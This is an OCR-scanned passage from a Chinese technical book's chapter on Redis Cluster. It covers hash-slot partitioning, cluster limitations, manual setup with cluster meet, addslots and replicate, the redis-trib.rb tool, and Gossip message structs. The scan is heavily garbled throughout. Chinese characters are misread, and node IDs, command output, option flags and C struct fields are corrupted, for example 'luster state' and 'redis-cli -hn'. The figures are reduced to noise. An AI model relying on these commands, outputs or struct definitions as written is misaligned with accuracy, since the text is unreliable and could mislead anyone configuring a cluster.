量 的 哈 希 算法 ， 每 个 模 所 映射 的 数据 通常 比较 均匀 ， 将 数据 平均 划分 到 5 个 
市 上 进行 数据 分 区 。Redis Cluster 就 是 采用 虚拟 槽 分 区 ， 下 面 就 介绍 Redis 数 
据 分 区 方法 。 
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10.1.2 ”Redis 数 据 分 区 


Redis Cluser 采 用 虚拟 槽 分 区 ， 所 有 的 键 根 据 哈 希 函 数 映 射 到 0~16383 整 
数 槽 内 ， 计 算 公 式 : slot=CRC16 (key) &16383。 每 一 个 节点 负责 维护 一 部 
分 模 以 及 模 所 映射 的 键 值 数据 ， 如 图 10-$ 所 示 。 








| 3108-106383 | node-5 


图 10-4 覃 集合 与 节点 关系 
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keys | RedisCluster 


I | 
| | 
| | 
| 

a | [= : 
' 
| | 
| | 
i | 
4 i ' 


图 10-5 ”使 用 CRC16 (key) 人 16383 将 键 映 射 到 模 上 
Redis 虚 拟 模 分 区 的 特点 : 


` 解 簿 数据 和 节点 之 间 的 关系 ， 简 化 了 节点 扩容 和 收缩 难度 。 





市 反目 身 维护 横 的 映射 关系 ， 不 需要 客户 端 或 者 代理 服务 维护 权 分 区 
元 数据 。 





文 持 节 点 、 槽 、 键 之 间 的 映射 得 询 ， 用 于 数据 路 由 、 在 线 伸 缩 等 场 


与 . 
有 RNo 





数据 分 区 是 分 布 式 存储 的 核心 ， 理 解 和 灵活 运用 数据 分 区 规则 对 于 掌握 
Redis Cluster 非 常 有 帮助 。 
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10.1.3 ”集群 功能 限制 


Redis 集 群 相 对 单机 在 功能 上 存在 一 些 限制 ， 需 要 开发 人 员 提 前 了 解 ， 
在 使 用 时 做 好 规避 。 限 制 如 下 : 





1)〉key 批 量 操作 支持 有 限 。 如 mset、mget， 目 前 只 支持 具有 相同 slot 值 的 
key 执 行 批量 操作 。 对 于 映射 为 不 同 slot 值 的 key 由 于 执行 mget、mget 等 操作 可 
能 存在 于 多 个 节点 上 因此 不 被 文 持 。 











2) key 事 务 操作 支持 有 限 。 同 理 只 支持 多 key 在 同一 广 尽 上 的 事务 操 
作 ， 当 多 个 key 分 布 在 不 同 的 节点 上 时 无 法 使 用 事务 功能 。 


3) key 作 为 数据 分 区 的 最 小 粒度 ， 因 此 不 能 将 一 个 大 的 键 值 对 象 如 
hash、1list 等 映射 到 不 同 的 节点 。 


4) 不 支持 多 数据 库 空间 。 单 机 下 的 Redis 可 以 支持 16 个 数据 库 ， 集 群 模 
式 下 只 能 使 用 一 个 数据 库 空间 ， 即 db0。 


5) 复制 结构 只 文 持 一 层 ， 从 节点 只 能 复制 主 市 把， 不 文 持 左 套 树 状 复 
制 结构 。 
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10.2 ”搭建 集群 


介绍 完 Redis 集 群 分 区 规则 之 后 ， 下 面 我 们 开始 搭建 Redis 集 群 。 搭 建 集 
群 工 作 需 要 以 下 三 个 步骤: 





1) 准备 节点 。 


2) 节点 握手 。 


37 分 配 模 。 
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10.2.1 准备 节点 





Redis 和 集群 一 般 由 多 个 节点 组 成 ， 节 点 数量 至 少 为 6 个 才能 保证 组 成 完整 
高 可 用 的 集群 。 每 个 节点 需要 开启 配置 cluster-enabled yes， 让 Redis 运 行 在 集 
群 模式 下 。 建 议 为 集群 内 所 有 节点 统一 目录 ， 一 般 划 分 三 个 目录 : conf、 
data、log， 分 别 存放 配置 、 数 据 和 日 志 相 关 文件 。 把 6 个 节点 配置 统一 放 在 
conf 目 录 下 ， 集 群 相关 配置 如 下 : 





























cluster-enabled yes 

# 节点 超时 时 间 ， 单 位 毫秒 
cluster-node-timeout 15000 
## 

a 





集群 内 部 配置 文件 
luster-config-file "nodes-6379.conf" 











其 他 配置 和 单机 模式 一 致 即 可 ， 配 置 文件 命名 规则 redis-{port}.conf， 准 
备 好 配置 后 启动 所 有 有 节点， 命令 如 下 : 





redis-server conf/redis-6379.conf 
redis-server conf/redis-6380.conf 
redis-server conf/redis-6381.conf 
redis-server conf/redis-6382.conf 
redis-server conf/redis-6383.conf 
redis-server conf/redis-6384.conf 











检查 节点 日 志 是 否 正确 ,日志 内 容 如 下 : 





cat log/redis-6379.10g 

* No cluster configuration found, I'm cfb28efldeee4e0fa78da86abe5d2456674441le 
# Server started, Redis version 3.0.7 

* The server is now ready to accept connections on port 6379 





6379 节 点 启动 成 功 ， 第 一 次 启动 时 如 果 没 有 集群 配置 文件 ， 它 会 自动 创 
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建 一 份 ， 文 件 名 称 采 用 cluster-config-file 参 数 项 控制 ， 建 议 采 用 node- 

{port} .conf 烙 式 定义 ， 通 过 使 用 端口 号 区 分 不 同 节点 ， 防 正 同一 机 器 下 多 个 
节点 彼此 获 盖 ， 造 成 集群 信息 异常 。 如 果 局 动 时 存在 集群 配置 文件 ， 贡 点 会 
使 用 配置 文件 内 容 初始 化 集群 信息 。 局 动 过 程 如 图 10-6 所 示 。 





/从 


| 生成 集群 配置 | 区 用 集群 配置 启 | 


图 10-6 ”Redis 和 集群 模式 启动 过 程 


集群 模式 的 Redis 除 了 原 有 的 配置 文件 之 外 又 加 了 一 份 集群 配置 文件 。 
当 集 群 内 节点 信息 发生 变化 ， 如 添加 节点 、 市 把 下 线 、 故 障 转 移 等 。 市 反 会 
目 动 保存 集群 状态 到 配置 文件 中 。 需 要 注意 的 是 ，Redis 目 动 维护 集群 配置 
文件 ， 不 要 手动 修改 ， 防 止 节 点 重 局 时 产生 集群 信息 错乱 。 
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如 节点 6379 首 次 启动 后 生成 集群 配置 如 下 : 








#cat data/nodes-6379.conf 
cfpb28efldeee4e0fa78da86abe5d2456674441lle 127.0.0.1:6379 myself,master - 0 0 0c 
vars currentEpoch 0 lastVoteEpoch 0 











文件 内 容 记 录 了 集群 初始 状态 ， 这 里 最 重要 的 是 节点 ID， 它 是 一 个 40 位 
16 进 制 字 符 串 ， 用 于 唯一 标识 集群 内 一 个 节点 ， 之 后 很 多 集群 操作 都 要 借助 
于 节点 ID 来 完成 。 需 要 注意 是 ， 节 点 ID 不 同 于 运行 了 PE。 节点 ID 在 集群 初始 化 
时 只 创建 一 次 ， 节 点 重 局 时 会 加 载 集 群 配 置 文件 进行 重用 ， 而 Redis 的 运行 
ID 每 次 重启 都 会 变化 。 在 节点 6380 执 行 cluster nodes 命 令 获 取 集 群 节点 状 
太 . 


4UD 











127.0.0.1:6380>cluster nodes 
8e41673d59c9568aa9d29fpbl74ce733345b3e8f1 127.0.0.1:6380 myself,master - 0 00c 














每 个 市 反目 前 只 能 识别 出 自己 的 节点 信息 。 我 们 局 动 6 个 节点 ， 但 每 个 
节点 彼此 并 不 知道 对 方 的 存在 ， 下 面 通过 节点 握手 让 6 个 节点 役 此 建立 联系 
从 而 组 成 一 个 集群 。 
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10.2.2 ”节点 握手 


节点 握手 是 指 一 批 运行 在 集群 模式 下 的 节点 通过 Gossip 协 议 彼 此 通信 ， 
达到 感知 对 方 的 过 程 。 节 点 握手 是 集群 彼此 通信 的 第 一 步 ， 由 客户 端 发 起 命 
令 : cluster meet{ip} {port}， 如 图 10-7 所 示 。 





cluster ineet 
| pk L270Q1 8380 | ee. | 
client 6379 了 一 知 6380 
图 10-7 节点 握手 


图 中 执行 的 命令 是 : cluster meet127.0.0.16380 让 节点 6379 和 6380 节 点 进 
行 握 手 通 信 。cluster meet 命 令 是 一 个 异步 命令 ， 执 行 之 后 立刻 返回 。 内 部 发 
起 与 目标 节点 进行 握手 通信 ， 如 图 10-8 所 示 。 


1) 节点 6379 本 地 创建 6380 节 点 信息 对 象 ， 并 发 送 meet 消 息 。 
2) 节点 6380 接 受到 meet 消 息 后 ， 保 存 6379 节 点 信息 并 回复 pong 消 息 。 


3) 之 后 节点 6379 和 6380 彼 此 定期 通过 ping/pong 消 息 进行 正 第 的 节点 通 


这 里 的 meet、ping、pong 消 息 是 Gossip 协 议 通 信 的 载体 ， 之 后 的 节点 通 


言 部 分 做 进一步 介绍 ， 它 的 主要 作用 是 节点 彼此 交换 状态 数据 信息 。6379 和 
6380 节 点 通过 meet 命 令 彼此 通信 之 后 ， 集 群 结构 如 图 10-9 所 示 。 


对 节点 6379 和 6380 分 别 执行 cluster nodes 命 令 ， 可 以 看 到 它们 彼此 已 经 
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感知 到 对 方 的 存在 。 


Ap 


2 
meet 消息 
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6379 
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图 10-8 cluster meet 命 
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| cluster 
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图 10-9 通 
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“pong? 


令 进行 


6380 


a 


节点 握手 的 过 程 


过 两 个 节点 握手 的 集群 结构 





12730.0.16379> cluster nodes 


cfpb28efldeee4e0fa78da86abe5d24566744411 


0 con 
8e41673d5 
1 con 


L127 500 1 


0 con 
8e41673d5 
1 ‘Gon 





Nec 


9c9568aa9d29fbl74ce733345b3e8 


nec 


nec 


9c9568aa9d29fbl74ce733345b3e8 





Nec 


ted 


ted 


6380> cluster nodes 
cfpb28efldeee4e0fa78da86abe5d24566744411 


ted 





ted 


© 


£1 


会 





f 工 





127 . 


L271 


下 2 


2: 


0.36879 


,0126380 


“0 L6379 





05 人 6380 


myself,master - 0 0 


master - 0 146807353426 


master - 0 146807357164 





myself,master - 0 0 





下 面 分 别 执行 meet 命 令 让 其 他 节点 加 入 到 集群 中 : 





127.0.0.1:6379>cluster meet 127.0.0.1 6381 
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127.0.0.1:6379>cluster meet 127.0.0.1 6382 
127.0.0.1:6379>cluster meet 127.0.0.1 6383 
127.0.0.1:6379>cluster meet 127.0.0.1 6384 








我 们 只 需要 在 集群 内 任意 节点 上 执行 cluster meet 命 令 加 入 新 节点 ， 握 手 
状态 会 通过 消息 在 集群 内 传播 ， 这 样 其 他 节点 会 目 动 发 现 新 节点 并 发 起 握手 
流程 。 最 后 执行 cluster nodes 命 令 确 认 6 个 节点 都 彼此 感知 并 组 成 集群 : 











127.0.0.1:6379> cluster nodes 
4fa7eac4080f0b667ffeab9b87841dqa49pb84a6e4 127.0.0.1:6384 master - 0 146807397555 
5 connected 
cfpb28efldeee4e0fa78da86abe5d2456674441l1le 127.0.0.1:6379 myself,master - 0 00c 
be9485a6a729fc98c5151374bc30277e89a461d8 127.0.0.1:6383 master - 0 146807397857 
4 connected 
40622f9e7Tadc8ebd77fca0de9edfe691cb8a74fb 127.0.0.1:6382 master - 0 146807398059 
3 connected 
8e41673d59c9568aa9d29fbl74ce733345b3e8f1l1 127.0.0.1:6380 master - 0 146807397454 
1 connected 
40b8d09d44294d2e23c7c768efc8fcd1l153446746 127.0.0.1:6381 master - 0 146807397958 
2 connected 






































节点 建立 握手 之 后 集群 还 不 能 正常 工作 ， 这 时 集群 处 于 下 线 状态 ， 所 有 
的 数据 读 写 都 被 禁止 。 通 过 如 下 命令 可 以 看 到 : 





127.0.0.1:6379> set hello redis 
(error) CLUSTERDOWN The cluster is down 








通过 cluster info 命 令 可 以 获取 集群 当前 状态 : 





L210 OL.03N9> GLUStEer Tnfo 
luster state:fail 
luster slots assigned:0 
luster slots ok:0 
luster slots pfail:0 
luster slots fail:0 
luster known nodes:6 
Luster 1Zze:0 














A 
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图 10-10 ”集群 握手 完成 之 后 的 状态 


从 输出 内 容 可 以 看 到 ， 被 分 配 的 柳 (cluster_ slots assigned) 是 0， 由 于 
目前 所 有 的 槽 没有 分 配 到 节点 ， 因 此 集群 无 法 完成 槽 到 节点 的 映射 。 只 有 当 
16384 个 槽 全 部 分 配给 节点 后 ， 集 群 才 进 入 在 线 状 态 。 
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10.2.3 ”分 配 权 


Redis 和 集群 把 所 有 的 数据 映射 到 16384 个 槽 中 。 0 
定 的 槽 ， 只 有 当 节 点 分 配 了 槽 ， 才 能 响应 和 这 些 模 关联 的 键 命令 。 通 过 
cluster addslots 命 令 为 节点 分 配 槽 。 这 里 利用 bash 特 性 批量 设置 模 〈slots ) ， 
命令 如 下 : 











redis-cli -h 127.0.0.1 -p 6379 cluster addslots {0...5461} 
redis-cli -hn 127.0.0.1 -p 6380 cluster addslots {5462...10922} 
redis-cli -h 127.0.0.1 -p 6381 cluster addslots {10923...16383} 














把 16384 个 Slot 平均 分 配给 6379、6380、6381 三 个 节点 。 执 行 cluster info 
查看 集群 状态 9 如 下 所 示 : 





1l2750%03l:6379> cLuster info 
luster state:ok 
luster slots assigned:16384 
luster slots ok:16384 

luster slots pfail:0 

luster slots fail:0 
luster known nodes:6 

lSter S13 

luster current epoch:5 
luster my epoch:0 

luster stats messages sent:4874 
luster stats messages received:4726 

















人 





当前 集群 状态 是 OK， 和 集群 进 入 在 线 状态 。 所 有 的 槽 都 已 经 分 配给 节 
点 ， 执 行 cluster nodes 命 令 可 以 看 到 节点 和 槽 的 分 配 关 系 : 





127.0.0.1:6379> cluster nodes 

4fa7Teac4080f0b667ffeab9b87841da49pb84a6e4 127.0.0.1:6384 master - 0 146807624012 
5 connected 

cfpb28efldeee4e0fa78da86abe5d24566744411le 127.0.0.1:6379 myself,master - 0 0 0ac 
0-5461 

be9485a6a729fc98c5151374bc30277e89a461d8 127.0.0.1:6383 master - 0 146807623962 
4 connected 

40622f9e7Tadc8ebd77fca0de9edfe691cb8a74fb 127.0.0.1:6382 master - 0 146807624062 
3 connected 

8e41673d59c9568aa9d29fbl74ce733345b3e8f1l1 127.0.0.1:6380 master - 0 146807623760 














379 


1 connected 
5462-10922 
40b8d09gd44294d2e23c7c768efc8fcd153446746 127.0.0.1:6381 master - 0 146807623861 
2 connected 
10923-16383 








目前 还 有 三 个 节点 没有 使 用 ， 作 为 一 个 完整 的 集群 ， 每 个 负责 处 理 槽 的 
节点 应 该 有 具有 从 市 点 ， 保 证 当 它 出 现 故 障 时 可 以 自动 进行 故障 转移 。 集 群 模 
式 下 ，Reids 节 点 角色 分 为 主 节点 和 从 节点 。 首 次 局 动 的 节点 和 被 分 配 槽 的 
点 都 是 主 节 点 ， 从 布点 负责 复制 主 节 点 槽 信息 和 相关 的 数据 。 使 用 cluster 
replicate {nodeId} 命 令 让 一 个 节点 成 为 从 节点 。 其 中 命令 执行 必须 在 对 应 的 
从 节点 上 执行 ，nodeId 是 要 复制 主 节 点 的 节点 ID， 命 令 如 下 : 














127.0.0.1:6382>cluster replicate cfpb28efldqeee4e0fa78dqa86abe5dq24566744411e 
OK 
127.0.0.1:6383>cluster replicate 8e41673d59c9568aa9d29fbl74ce733345b3e8f1 
OK 
127.0.0.1:6384>cluster replicate 40b8d09d44294d2e23c7c768efc8fcd1l153446746 
OK 











Redis 集 群 模式 下 的 主 从 复制 使 用 了 之 前 介绍 的 Redis 复 制 流程 ， 依 然 支 
持 全 量 和 部 分 复制 。 复 制 (replication〉 完 成 后 ， 整 个 集群 的 结构 如 图 10-11 
所 示 。 
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图 10-11 集群 完整 结构 


通过 cluster nodes 命 令 查看 集群 状态 和 复制 关系 ， 如 下 所 示 : 





127.0.0.1:6379> Cluster nodes 
4fa7Teac4080f0b667ffeab9b87841da49pb84a6e4 127.0.0.1:6384 slave 40b8d09d44294gd2e2 
3c7c768efc8fcdq153446746 0 1468076865939 5 connected 
cfpb28efldeee4e0fa78da86abe5d2456674441lle 127.0.0.1:6379 myself,master - 0 0 0ac 
0-5461 
be9485a6a729fc98c5151374bc30277e89a461gd8 127.0.0.1:6383 slave 8e41673d59c9568aa 
9d29fpbl74ce733345b3e8f1l1 0 1468076868966 4 connected 
40622f9e7Tadc8ebd77fca0de9edfe691cb8a74fb 127.0.0.1:6382 slave cfb28efldeee4e0fa 
78da86abe5d2456674441le 0 1468076869976 3 connected 
8e41673d59c9568aa9gd29fb1l74ce733345b3e8f1 127.0.0.1:6380 master - 0 146807687098 
connected 5462-10922 
40b8d09d44294d2e23c7c768efc8fcd1l153446746 127.0.0.1:6381 master - 0 146807686795 
connected 10923-16383 

















日 前 为 止 ， 我 们 依照 Redis 协 议 手 动 建立 一 个 集群 。 它 由 6 个 节 点 构成 ， 
3 个 主 节点 负责 处 理 槽 和 相关 数据 ，3 个 从 节点 负责 故障 转移 。 手 动 搭 建 集群 
便于 理解 集群 建立 的 流程 和 细节 ， 不 过 读者 也 从 中 发 现 集群 搭建 需要 很 多 步 
又 ， 当 集群 节点 众多 时 ， 必 然 会 加 大 搭建 集群 的 复杂 度 和 运 维 成 本 。 因 此 
Redis 官 方 提供 了 redis-trib.rb 工 具 方 便 我 们 快速 搭建 集群 。 
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10.2.4 用 redis-trib.rb 搭 建 集群 


redis-trib.rb 是 采用 Ruby 实 现 的 Redis 集 群 管理 工具 。 内 部 通过 Cluster 相 
关 命 令 帮 我 们 简化 集群 创建 、 检 查 、 模 迁移 和 均衡 等 常见 运 维 操作 ， 使 用 之 
前 需要 安装 Ruby 依 赖 环 境 。 下 面 介绍 搭建 集群 的 详细 步骤 。 


1.Ruby 环 境 准 备 


安装 Ruby: 





-一 下 载 TuUby 

wget https:// cache.ruby-lang.org/pub/ruby/2.3/ruby-2.3.1.tar.gz 
-一 安装 ruby 

tar. xXvf "UDy=2.3. Ltar:dz 
./configure -prefix=/usr/local/ruby 
make 

make install 

cd /usr/local/ruby 

sudo cp bin/ruby /usr/local/bin 
sudo cp bin/gem /usr/local/bin 








安装 rubygemredis 依 赖 : 





wget http:// rubygems.org/downloads/redis-3.3.0.gem 
gem install -1 redis-3.3.0.gem 
gem list --check redis gem 








安装 redis-trib.rb: 





sudo cp /{redis home}/src/redis-trib.rb /usr/local/bin 





安装 完 Ruby 环 境 后 ， 执 行 redis-trib.rb 命 令 确 认 环 境 是 否 正 确 ， 输 出 如 
下 : 





# redis-trib.rb 
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Usage: redis-trib <command> <options> <arguments .. .> 
create hostl:portl1l ... hostN:portN 
--replicas <arg> 

check host:port 
info host:port 
于 于 区 hostiport 
--timeout <arg> 
reshard host:port 
--from <arg> 
==t0 <Aarg> 
二 一 六 于 加 七 人 <aEgG> 
==yeS 
--timeout <arg> 
--pipeline <arg> 








.. 忽略 . . . 





从 redis-trib.rb 的 提示 信息 可 以 看 出 ， 它 提供 了 集群 创建 、 检 查 、 修 复 、 
均衡 等 命令 行 工 具 。 这 里 我 们 关注 集群 创建 命令 ， 使 用 redis-trib.rb create 命 
令 可 快速 搭建 集群 。 


2. 准 备 节 点 


首先 我 们 跟 之 前 内 容 一 样 准备 好 市 点 配置 并 局 动 : 





redis-server conf/redis-6481.conf 
redis-server conf/redis-6482.conf 
redis-server conf/redis-6483.conf 
redis-server conf/redis-6484.conf 
redis-server conf/redis-6485.conf 
redis-server conf/redis-6486.conf 





3. 创 建 集群 


启动 好 6 个 节点 之 后 ， 使 用 redis-trib.rb create 命 令 完成 节点 握手 和 槽 分配 
过 程 ， 命 令 如 下 : 





redis-trib.rb create --replicas 1 127.0.0.1:6481 127.0.0.1:6482 127.0.0.1:6483 
127.0.0.1:6484 127.0.0.1:6485 127.0.0.1:6486 





--replicas 参 数 指定 集群 中 每 个 主 节 点 配备 儿 个 从 市 点 ， 这 里 设置 为 1。 
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我 们 出 于 测试 目的 使 用 本 地 下地 址 127.0.0.1， 如 果 部 署 节 点 使 用 不 同 的 卫 地 
址 ，redis-trib.rb 会 尽 可 能 保证 主 从 节点 不 分 配 在 同一 机 器 下 ， 因 此 会 重新 排 
序 节点 列表 顺序 。 节 点 列表 顺序 用 于 确定 主 从 角色 ， 先 主 节点 之 后 是 从 节 

点 。 创 建 过 程 中 首先 会 给 出 主 从 节点 角色 分 配 的 计划 ， 如 下 所 示 。 








>>> Creating cluster 

>>> Performing hash slots allocation on 6 nodes... 

Using 3 masters: 

127.0.0.1:6481 

127,0.0.1:6482 

127.0.0.1:6483 

Adding replica 127.0.0.1:6484 to 127.0.0.1:6481 

Adding replica 127.0.0.1:6485 to 127.0.0.1:6482 

Adding replica 127.0.0.1:6486 to 127.0.0.1:6483 

M: 869del192169c4607bb886944588bc358d6045afa 127.0.0.1:6481 
lots:0-5460 (5461 slots) master 
6f9f24923eb37fle4dcelc88430f6fc23ad4a47b 127.0.0.1:6482 
lots:5461-10922 (5462 slots) master 
6228aladb6c26139pb0adbe81828f43a4ec196271 127.0.0.1:6483 
lots:10923-16383 (5461 slots) master 
: 22451lea81lfac73fe7a91lcf051cd50b2bf308c3f3 127.0.0.1:6484 
eplicates 869del1l92169c4607bb886944588bc358d6045afa 
: 89158df8e62958848134d632e75d1la8d2518f07b 127.0.0.1:6485 
replicates 6f9f24923eb37fle4dcelc88430f6fc23ad4a47b 
S: bcb394c48d50941f235cd6988a40e469530137af 127.0.0.1:6486 
replicates 6228aladb6c26139b0adbe81828f43a4ec196271 

Can I set the above configuration (type 'yes' to accept): 

















Rn a i 




















当 我 们 同意 这 份 计划 之 后 输入 yes，redis-trib.rb 开 始 执行 节点 握手 和 模 
分 配 操作 ， 输 出 如 下 : 





>>> Nodes configuration updated 

>>> Assign a different config epoch to each node 

>>> Sending CLUSTER MEET messages to join the cluster 

Waiting for the cluster to join.. 

>>> Performing Cluster Check (using node 127.0.0.1:6481) 
. .忽略 ... 
[OK] A nodes agree about slots configuration. 

>>> Check for open slots... 

>>> Check slots coverage... 

[OK] A 16384 slots covered. 



































最 后 的 输出 报告 说 明 : 16384 个 槽 全 部 被 分 配 ， 集 群 创建 成 功 。 这 里 需 
要 注意 给 redis-trib.rb 的 节点 地 址 必须 是 不 包含 任何 槽 /数据 的 节点 ， 否 则 会 
拒绝 创建 集群 。 
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4. 集 群 完整 性 检查 


集群 完整 性 指 所 有 的 槽 都 分 配 到 存活 的 主 节 点 上 ， 只 要 16384 个 槽 中 有 
一 个 没有 分 配给 市 点 则 表示 集群 不 完整 。 可 以 使 用 redis-trib.rb check 命 令 检 
测 之 前 创建 的 两 个 集群 是 否 成 功 ，check 命 令 只 需要 给 出 集群 中 任意 一 个 节 
点 地 址 就 可 以 完成 整个 集群 的 检查 工作 ， 命 令 如 下 : 











redis-trib.rb check 127.0.0.1:6379 
redis-trib.rb check 127.0.0.1:6481 





当 最 后 输出 如 下 信息 ， 提 示 集 群 所 有 的 槽 都 已 分 配 到 节点 : 








[OK] All nodes agree about slots configuration. 
>>> Check for open slots... 

>>> Check slots coverage... 

[OK] A 16384 slots covered . 
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10.3 ”节点 通信 


10.3.1 通信 流程 





在 分 布 式 存储 中 需要 提供 维护 节点 元 数据 信息 的 机 制 ， 所 谓 元 数据 是 
指 : 节点 负责 哪些 数据 ， 是 否 出 现 故 障 等 状态 信息 。 常 见 的 元 数据 维护 方式 
分 为 : 集中 式 和 P2P 方 式 。Redis 集 群 采 用 P2P 的 Gossip〈 流 言 ) 协议 ， 
Gossip 协 议 工 作 原理 就 是 节点 彼此 不 断 通 信 交 换 信 息 ， 一 段 时 间 后 所 有 的 节 
点 都 会 知道 集群 完整 的 信息 ， 这 种 方式 类 似 流 言传 播 ， 如 图 10-12 所 示 。 








cluster 


@ 一 @ 
NA 


图 10-12 节操 彼 此 传播 消 筷 
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通信 过 程 说 明 : 


1) 集群 中 的 每 个 节点 都 会 单独 开辟 一 个 TCP 通 道 ， 用 于 节点 之 间 彼 此 
通信 ， 通 信 端 口号 在 基础 端口 上 加 10000。 
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2) 每 个 节点 在 固定 周期 内 通过 特定 规则 选择 几 个 节点 发 送 ping 消 妃 。 


3) 接收 到 ping 消 息 的 节点 用 pong 消 息 作 为 啊 应 。 





集群 中 每 个 三 点 通 过 一 定 规则 挑选 要 通信 的 市 态 ， 每 个 节 扣 可 能 知道 全 
部 节点 ， 也 可 能 仅 知道 部 分 节点 ， 只 要 这 些 节 点 彼此 可 以 正常 通信 ， 最 终 筷 
们 会 达到 一 致 的 状态 。 当 节点 出 故障 、 新 节点 加 入 、 主 从 角色 变化 、 模 信息 
变更 等 事件 发 生 时 ， 通 过 不 断 的 ping/pong 消 息 通 信 ， 经 过 一 段 时 间 后 所 有 的 
节点 都 会 知道 整个 集群 全 部 节点 的 最 新 状态 ， 从 而 达到 集群 状态 同步 的 目 
的 。 
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10.3.2 Gossip 消息 


Gossip 协 议 的 主要 职 贡 就 是 信息 交换 。 信 息 交 换 的 载体 束 是 节点 彼此 发 
送 的 Gossip 消 息 ， 了 解 这 些 消 息 有 助 于 我 们 理解 集群 如 何 完 成 信息 交换 。 
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常用 的 Gossip 消 息 可 分 为 : ping 消 息 、pong 消 息 、meet 消 息 、fail 消 息 
等 ， 它 们 的 通信 模式 如 图 10-13 所 示 。 


meet 消息 
一 
-一 


pong 消息 





图 10-13 不同 消息 通信 模式 


-meet 消息 : 用 于 通知 新 市 态 加 入 。 消 娠 发 送 者 通知 接收 者 加 入 到 当前 
集群 ，meet 消 妃 通 信 正 向 完成 后 ， 接 收 节点 会 加 入 到 集群 中 并 进行 周期 性 的 





ping、pong 消 息 交 换 。 

ping 消 息 : 集群 内 交换 最 频繁 的 消 轧 ， 集 群 内 每 个 节点 每 秒 癌 多 个 其 
他 节点 发 送 ping 消 忠 ， 用 于 检测 节点 是 否 在 线 和 交换 彼此 状态 信息 。ping 消 
恩 发 送 封 疾 了 自身 节点 和 部 分 其 他 节点 的 状态 数据 。 
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当 接 收 到 ping、meet 消 息 时 ， 作 为 啊 应 消息 回复 给 发 送 方 确 
认 消 息 正 。pong 消 息 内 部 封装 了 自身 状态 数据 。 节 点 也 可 以 癌 集 群 内 
广播 自身 的 pong 消 息 来 通知 整个 集群 对 自身 状态 进行 更 新 。 


fail 消息 : 当 节 点 判定 集群 内 另 一 个 节点 下 线 时 ， 会 回 集 群 内 广播 一 个 
fail 消 息 ， 其 他 节点 接收 到 fail 消息 之 后 把 对 应 节点 更 新 为 下 线 状态 。 上 有 具体 细 
节 将 在 后 面 10.6 节 “故障 转移 ”中 说 明 。 


所 有 的 消息 格式 划分 为 : 消息 头 和 消 恩 体 。 消 息 头 包含 发 送 贡 点 目 身 状 
态 数 据 ， 接 收市 把 根据 消息 头 就 可 以 获取 到 发 送 节 点 的 相关 数据 ， 结 构 如 
es 








typedef struct { 





















































char sig[4]; /* 信号 标示 */ 

uint32. tt totlen; ://* 消息 总 长 度 */ 

uint16 七 Ver; /* 协议 版 本 */ 

uint16 七 type; /* 消息 类 型 ,用 于 区 分 meet ,ping,pong 等 消息 */ 
uint16 七 Count; /* 消息 体 包含 的 节点 数量 ， 仅 用 于 meet ,ping,ping 消 息 类 型 */ 
uint64 t currentEpoch; /* 当前 发 送 节点 的 配置 纪元 */ 

uint64 七 configEpoch; /* 主 节 点 /从 节点 的 主 节 点 配置 纪元 */ 














uint64 七 offset; /* 复制 偏 移 量 */ 
char sender[CLUSTER NAMELEN]; /* 发 送 节 点 的 NodeId */ 
unsigned char myslots[CLUSTER SLOTS/8]; /* 发 送 节点 负责 的 模 信 息 */ 
char slaveof[CLUSTER NAMELEN]; /* 如 果 发 送 节点 是 从 节点 ， 记 录 对 应 主 节 点 的 nodeIQ */ 
uint16 七 port; /* 端口 号 */ 
uint16 七 flags; /* 发 送 节点 标识 , 区 分 主 从 角色 ， 是否 下 线 等 */ 
unsigned char state; /* 发 送 节点 所 处 的 集群 状态 */ 
unsigneqd char mflags[3]; /* 消息 标识 */ 
union clusterMsgData data /* 消息 正文 */; 

} clusterMsg; 






















































































集群 内 所 有 的 消息 都 采用 相同 的 消息 头 结构 clusterMsg， 它 包含 了 发 送 
点 关键 信息 ， 如 节点 id、 模 映射、 节点 标识 〈 主 从 角色 ， 是 否 下 线 ) 等 。 
消息 体 在 Redis 内 部 采用 clusterMsgData 结 构 声 明 ， 结 构 如 下 : 





union clusterMsgData ({ 
/* ping,meet,pong 消 息 体 */ 
Streuct 
/* gOssip 消 息 结构 数组 */ 
clusterMsgDataGossip gossip[1]; 
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} ping; 

/* FAIL 消息 体 */ 

struct { 

clusterMsgDataFail about; 
} fail; 

A 

}> 








消息 体 clusterMsgData 定 义 发 送 消 息 的 数据 ， 其 中 ping、meet、pong 都 采 
用 cluster MsgDataGossip 数 组 作为 消息 体 数据 ， 实 际 消息 类 型 使 用 消息 头 的 
type 属 性 区 分 。 每 个 消息 体 包含 该 节点 的 多 个 clusterMsgDataGossip 结 构 数 
据 ， 用 于 信息 交换 ， 结 构 如 下 : 





typedef struct { 
char nodename [CLUSTER NAMELEN]; /* 节点 的 nodeId */ 
uint32 七 ping sent; /* 最 后 一 次 向 该 节点 发 送 ping 消 息 时 间 */ 
uint32 七 pong received; /* 最 后 一 次 接收 该 节点 Dong 消 息 时 间 */ 
char ip[NET IP STR LEN]; /* IP */ 
Uint1e, t Horty, YY* Port*y 
uint16 七 flags; /* 该 节点 标识 ，*/ 

} clusterMsgDataGossip; 



































当 接 收 到 ping、meet 消 息 时 ， 接 收 节点 会 解析 消息 内 容 并 根据 自身 的 识 
别 情况 做 出 相应 处 理 ， 对 应 流程 如 图 10-14 所 示 。 
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| 接收 ping/ meet 消 息 | 





消息 解析 


4 / 


消息 体 





Wy 
Wy 








图 10-14 ”消息 解析 流程 


接收 节点 收 到 pingmeet 消 轧 时 ， 执 行 解析 消息 头 和 消息 体 流程 : 


解析 消息 头 过 程 : 消息 头 包 含 了 发 送 市 点 的 信息 ， 如 果 发 送 节 点 是 新 
点 且 消 息 是 meet 类 型 ， 则 加 入 到 本 地 节点 列表 ; 如 果 是 已 知 市 点 ， 则 尝试 
更 新 发 送 节点 的 状态 ， 如 槽 映射 关系 、 主 从 角色 等 状态 。 
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.解析 消息 体 过 程 : 如 果 消 息 体 的 clusterMsgDataGossip 数 组 包含 的 节点 
是 新 节点 ， 则 尝试 发 起 与 新 节点 的 meet 握 手 流程 ， 如 果 是 已 知 节点 ， 则 根据 
cluster MsgDataGossip 中 的 flags 字 上 段 判 断 该 节点 是 否 下 线 ， 用 于 故障 转移 。 





消息 处 理 完 后 回复 pong 消 息 ， 内 容 同样 包含 消息 头 和 消 妃 体 ， 发 送 节 点 
接收 到 回复 的 pong 消 妃 后 ， 采 用 类 似 的 流程 解析 处 理 消 妃 并 更 新 与 接收 节点 
最 后 通信 时 间 ， 完 成 一 次 消息 通信 。 
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10.3.3 ”节点 选择 


